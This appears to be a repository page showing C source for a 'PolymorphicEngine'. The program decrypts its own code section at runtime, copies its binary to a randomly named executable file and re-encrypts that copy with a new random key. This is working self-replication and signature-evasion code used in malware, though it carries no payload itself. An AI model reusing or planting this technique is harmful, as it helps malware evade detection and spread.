PolymorphicEngine
Barry Initial commit 646db1c (3 years, 5 months ago)#include <stdlib.h> #include <stdint.h> #include <stdio.h> #include <sys/mman.h> #include <sys/stat.h> #include <time.h> #include <unistd.h> /* Config */ #define NAME_PREFIX "poly_" /* Copies' names start with */ #define NAME_PREFIX_LENGTH 5 /* Length of prefix */ #define NAME_AFFIX_LENGTH 11 /* Number of random chars after prefix */ #define KEY_SIZE 8 /* Size of encryption key */ #define ENCRYPTED __attribute__((noinline, section(".encrypted"))) /* Linked values */ extern unsigned char binaryStart[]; extern unsigned char encryptedStart[]; extern unsigned char encryptedEnd[]; /* Keys */ const uint8_t act[KEY_SIZE] = {}, /* Operators */ key[KEY_SIZE] = {}; /* Operands */ /* Functions */ int encrypted_main(int argc, char **argv); /* Traditional main function */ int main(int argc, char **argv) { size_t i, mask; void *aligned; uint8_t *code = (uint8_t *) encryptedStart; long pageSize = sysconf(_SC_PAGESIZE); /* Make memory writable */ if (pageSize <= 0) return 1; mask = pageSize - 1; aligned = (void *) ((size_t) code & ~mask); if (mprotect(aligned, (encryptedEnd - encryptedStart) + pageSize, PROT_READ|PROT_WRITE|PROT_EXEC)) return 1; /* Decrypt our code */ for (i = 0; i < (encryptedEnd - encryptedStart); i++) { switch (act[i % KEY_SIZE]) { case 0: code[i] ^= key[i % KEY_SIZE]; break; case 1: code[i] -= key[i % KEY_SIZE]; break; case 2: code[i] += key[i % KEY_SIZE]; break; } } /* Run the decrypted code */ return encrypted_main(argc, argv); } /* Copy a file */ ENCRYPTED void copy_file(char *src, char *dst) { FILE *self, *child; char data[1024]; size_t n, m; /* Open files */ self = fopen(src, "rb"); child = fopen(dst, "wb"); if (self == NULL || child == NULL) exit(EXIT_FAILURE); /* Copy contents across */ do { n = fread(data, 1, sizeof(data), self); if (n) m = fwrite(data, 1, n, child); else m = 0; } while ((n > 0) && (n == m)); if (m) exit(EXIT_FAILURE); /* Close files */ fclose(self); fclose(child); } /* Encrypted main */ ENCRYPTED int encrypted_main(int argc, char **argv) { char filename[NAME_PREFIX_LENGTH + NAME_AFFIX_LENGTH + 1] = NAME_PREFIX, /* Possible characters in file name */ alpha[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; uint8_t dKey[KEY_SIZE], dAct[KEY_SIZE], data, *code = (uint8_t *) encryptedStart; FILE *child; size_t i; /* Seed the random function */ srand(time(NULL)); /* Duplicate file */ for (i = NAME_PREFIX_LENGTH; i < sizeof(filename)-1; i++) filename[i] = alpha[rand() % sizeof(alpha)]; copy_file(argv[0], filename); chmod(filename, 0777); /* Open child file */ child = fopen(filename, "r+"); if (child == NULL) exit(EXIT_FAILURE); /* Generate a new key */ for (i = 0; i < KEY_SIZE; i++) { dAct[i] = rand() % 3; dKey[i] = rand() % 256; } /* Write keys */ fseek(child, (unsigned long int) (act - binaryStart), SEEK_SET); fwrite(dAct, 1, KEY_SIZE, child); fseek(child, (unsigned long int) (key - binaryStart), SEEK_SET); fwrite(dKey, 1, KEY_SIZE, child); /* Encrypt our code */ fseek(child, (unsigned long int) (encryptedStart - binaryStart), SEEK_SET); for (i = 0; i < (encryptedEnd - encryptedStart); i++) { data = code[i]; switch (dAct[i % KEY_SIZE]) { case 0: data ^= dKey[i % KEY_SIZE]; break; case 1: data += dKey[i % KEY_SIZE]; break; case 2: data -= dKey[i % KEY_SIZE]; break; } fwrite(&data, 1, 1, child); } /* Close file and exit */ fclose(child); return 0; }